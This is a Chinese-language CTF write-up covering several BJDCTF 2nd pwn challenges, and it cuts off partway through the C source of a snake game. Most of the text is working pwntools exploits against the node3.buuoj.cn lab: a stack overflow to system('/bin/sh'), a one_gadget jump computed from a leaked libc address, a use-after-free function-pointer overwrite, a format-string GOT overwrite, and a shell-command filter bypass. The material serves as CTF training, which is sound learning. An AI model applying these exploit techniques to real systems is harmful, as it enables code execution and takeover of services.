r2t3
在name_check函数中有一个strcpy,看起来是溢出的机会,但是前面判断了长度,这里在汇编下才能发现漏洞
即只要长度超过255就会溢出
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 29302)
elf = ELF("./BJDCTF_2nd_r2t3")
system = elf.plt['system']
bin_sh = 0x08048760
print r.recvuntil("[+]Please input your name:\n")
payload = 'a' * 0x15 + p32(system) * 2 + p32(bin_sh)
payload = payload.ljust(260, 'a')
r.sendline(payload)
r.interactive()
one_gadget
题目给了printf的地址,根据其算出libc基地址然后计算one_gadget的地址,发送即可
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 25695)
libc = ELF("./libc/libc-2.29.so")
print r.recvuntil("here is the gift for u:")
printf = int(r.recvuntil('\n').strip(), 16)
success("printf:"+hex(printf))
libc_base = printf - libc.sym['printf']
one_gadget = libc_base + 0x106ef8
payload = str(one_gadget)
r.sendline(payload)
r.interactive()
ydsneedgirlfriend2
这题是UAF漏洞
使用了函数指针
利用UAF修改为后门函数再调用show即可
Exp:
from pwn import *
def add(size, content):
print r.recvuntil("u choice :\n")
r.sendline('1')
print r.recvuntil("Please input the length of her name:\n")
r.sendline(str(size))
print r.recvuntil("Please tell me her name:\n")
r.send(content)
def delete(index):
print r.recvuntil("u choice :\n")
r.sendline('2')
print r.recvuntil("Index :")
r.sendline(str(index))
def show(index):
print r.recvuntil("u choice :\n")
r.sendline('3')
print r.recvuntil("Index :")
r.sendline(str(index))
r = remote("node3.buuoj.cn", 28148)
system = 0x400D86
add(0x80, 'a\n')
add(0x80, 'b\n')
delete(0)
delete(1)
payload = p64(system) * 2
add(0x10, payload)
show(0)
r.interactive()
r2t4
有格式化字符串漏洞,有canary,似乎难以溢出
可以把___stack_chk_fail的got改了
不过这题的payload长度超过0x28(40)就会破坏canary
所以payload长度一定要大于40
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 26346)
#r = process("./BJDCTF_2nd_r2t4")
elf = ELF("./BJDCTF_2nd_r2t4")
libc = ELF("./libc/libc-2.29.so")
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x40069C
c
''')
target = elf.got['__stack_chk_fail']
system = 0x400626
num1 = (system >> 16)
num2 = (system & 0xFFFF) - num1
payload = '%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%10$hn'
payload = payload.ljust(24, 'a') + p64(target+2) + p64(target) + 'a' * 17
r.sendline(payload)
r.interactive()
test
这题或许考察的是对Linux命令的掌握
源代码如下
//test.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(){
char cmd[0x100] = {
0};
puts("Welcome to Pwn-Game by TaQini.");
puts("Your ID:");
system("id");
printf("$ ");
gets(cmd);
if( strstr(cmd, "n")
||strstr(cmd, "e")
||strstr(cmd, "p")
||strstr(cmd, "b")
||strstr(cmd, "u")
||strstr(cmd, "s")
||strstr(cmd, "h")
||strstr(cmd, "i")
||strstr(cmd, "f")
||strstr(cmd, "l")
||strstr(cmd, "a")
||strstr(cmd, "g")
||strstr(cmd, "|")
||strstr(cmd, "/")
||strstr(cmd, "$")
||strstr(cmd, "`")
||strstr(cmd, "-")
||strstr(cmd, "<")
||strstr(cmd, ">")
||strstr(cmd, ".")){
exit(0);
}else{
system(cmd);
}
return 0;
}
可以看到许多命令被过滤了
我们使用以下两条指令查看可以使用的治理
env $PATH
ls /usr/local/sbin /usr/local/bin /usr/sbin /usr/bin /sbin /bin /usr/games /usr/local/games | grep -v -E ' n|e|p|b|u|s|h|i|f|l|a|g'
这题有两种办法:
- 执行命令x86_64,然后cat flag
- 使用od *获取flag的八进制形式,然后转为str
脚本如下
od = [066146,063541,030573,030064,062461,061143,026545,033544,0000020,060541,032055,062063,026543,034071, 061460, 032455, 030465, 0000040, 031465, 061541, 062060, 063144, 076546, 077412, 046105]
flag = ""
for i in od:
tmp = hex(i)[2:]
flag += tmp.decode('hex')[::-1]
print flag
secret
这题同样有两个办法
程序逻辑就是要你猜数字,正常情况下猜对10000次给flag
方法一
利用idapython读出所有数字,发送一万次
idapython脚本如下
import idc, idaapi, idautils
guess_addr = 0x46A329
secrets = []
def get_secret():
f = open("secrets.txt", "w")
all = idautils.CodeRefsTo(guess_addr, 1)
for addr in all:
next = idc.NextHead(addr)
next = idc.NextHead(next)
secret = idc.GetOpnd(next, 1)
secret = secret[:-1]
if len(secret) == 0:
continue
secret = int(secret, 16)
f.write(str(secret)+'\n')
f.close()
if __name__ == "__main__":
get_secret()
Exp如下:
from pwn import *
r = remote("node3.buuoj.cn", 26527)
#r = process("./BJDCTF_2nd_secret")
elf = ELF("./BJDCTF_2nd_secret")
exit_got = elf.got['exit']
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x401368
c
p exit
''')
payload = 'a' #'a' * 0x10 + '\xd0' + '\x10' + '\x40' + '\n'
r.send(payload)
sleep(2)
f = open("secrets.txt", "r")
for i in range(10000):
num = f.readline().strip()
print r.recvuntil("Secret:")
r.sendline(num)
f.close()
r.sendline('1')
r.interactive()
当然这样做很费时间
方法二
buf处有一个缓冲区溢出
每猜对一次,0x46D090中的数据作为地址的数据就会建减一
如果游戏失败,则会触发下面这个函数
此外,我们发现printf的plt地址和system很接近
所以,我们可以先把0x46D090改成printf的got地址,然后猜15次,然后输入错误的数字来结束,即可
Exp如下:
from pwn import *
r = remote("node3.buuoj.cn", 28077)
#r = process("./BJDCTF_2nd_secret")
elf = ELF("./BJDCTF_2nd_secret")
exit_got = elf.got['exit']
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x401368
c
p exit
''')
payload = '/bin/sh\x00'.ljust(0x10, 'a') + '\x40' + '\xD0' + '\x46' + '\n'
r.send(payload)
sleep(2)
f = open("secrets.txt", "r")
for i in range(0xF):
num = f.readline().strip()
print r.recvuntil("Secret:")
r.sendline(num)
f.close()
r.sendline('1')
r.interactive()
snake_dyn
登录密码可以直接用微信扫出来
游戏源代码如下
#include <stdio.h>
#include <time.h>
#include <malloc.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/select.h>
#include <sys/time.h>
#include <termio.h>
#include <string.h>
#define high 20
#define wide 30
#define up 1
#define down 2
#define left 3
#define right 4
// void setIO(unsigned int flag) {
// if(flag)
// system("stty cbreak -echo");
// else
// system("stty cooked echo");
// }
void StringReplace(char *buf, char src, char dest){
char *p = buf;
while(*p){
if(p[0]==src){
p[0]=dest;
}
p++;
}
}
unsigned int score = 0;
unsigned int Level = 1;
unsigned int direction = 1;
unsigned int IsEat=0;
unsigned int FoodH=5,FoodW=10;
char Name[0x100];
char flag[0x1000];
unsigned int flag_pos = 0;
char Picture[high][wide];
typedef struct snake{
unsigned int x;
unsigned int y;
struct snake* next;
}Node,*PSnake;
PSnake Init() {
printf("SnakeMake start!\n");
unsigned int len=5;
PSnake head=(PSnake)malloc(sizeof(Node));
if(head == NULL)
printf("Snake head make failed!\n");
head->x=wide/2;
head->y=high/2+5;
head->next=NULL;
unsigned int i=0;
for(;i<5;i++) {
PSnake P=(PSnake)malloc(sizeof(Node));
if(P==NULL) {
printf("Snake is dead!\n");
break;
}
P->x=wide/2;
P->y=high/2-i+4;
P->next=head;
head=P;
}
printf("Snake is alive!\n");
return head;
}
PSnake Eat(unsigned int x,unsigned int y,PSnake snake) {
PSnake p=(PSnake)malloc(sizeof(Node));
if(p==NULL) {
printf("New head make failed!");
}
p->x = x;
p->y = y;
p->next=snake;
score += 1;
return p;
}
void Walk(unsigned int x,unsigned int y,PSnake snake) {
PSnake p=snake;
unsigned int a,b, c=x, d=y;
while(p!=NULL)